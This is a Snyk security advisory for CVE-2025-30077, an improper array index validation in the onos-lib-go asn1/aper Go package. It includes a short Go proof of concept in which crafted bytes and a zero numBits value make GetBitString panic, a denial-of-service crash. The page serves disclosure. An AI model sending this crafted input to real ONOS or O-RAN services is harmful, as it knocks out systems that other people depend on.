Improper Validation of Array Index Affecting github.com/onosproject/onos-lib-go/pkg/asn1/aper package, versions >=0.0.0
Threat Intelligence
Snyk has a proof-of-concept or detailed explanation of how to exploit this vulnerability.
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Test your applications- Snyk IDSNYK-GOLANG-GITHUBCOMONOSPROJECTONOSLIBGOPKGASN1APER-9459055
- published16 Mar 2025
- disclosed16 Mar 2025
- creditty3gx
Introduced: 16 Mar 2025
CVE-2025-30077 (opens in a new tab)How to fix?
A fix was pushed into the master branch but not yet published.
Overview
Affected versions of this package are vulnerable to Improper Validation of Array Index due to an index out-of-range error in the GetBitString function. An attacker can cause a denial of service by sending crafted input that specifies a zero value for numBits.
PoC
package main
import (
"encoding/hex"
"github.com/onosproject/onos-e2-sm/servicemodels/e2sm_mho_go/encoder"
"github.com/onosproject/onos-lib-go/pkg/asn1/aper"
"github.com/onosproject/onos-lib-go/pkg/errors"
"google.golang.org/protobuf/proto"
)
func main() {
aper.GetBitString([]byte{1}, 0, 0) // minimum code to reproduce the panic
asnBytes := []byte{16, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 1}
protoBytes, err := EventTriggerDefinitionASN1toProto(asnBytes)
if err != nil {
println(err)
return
}
println(protoBytes)
}
func EventTriggerDefinitionASN1toProto(asn1Bytes []byte) ([]byte, error) {
perBytes, err := encoder.PerDecodeE2SmMhoEventTriggerDefinition(asn1Bytes)
if err != nil {
return nil, errors.NewInvalid("error decoding E2SmMhoEventTriggerDefinition to PER %s\n%v", err, hex.Dump(asn1Bytes))
}
protoBytes, err := proto.Marshal(perBytes)
if err != nil {
return nil, errors.NewInvalid("error marshalling asn1Bytes to E2SmMhoEventTriggerDefinition %s", err)
}
return protoBytes, nil
}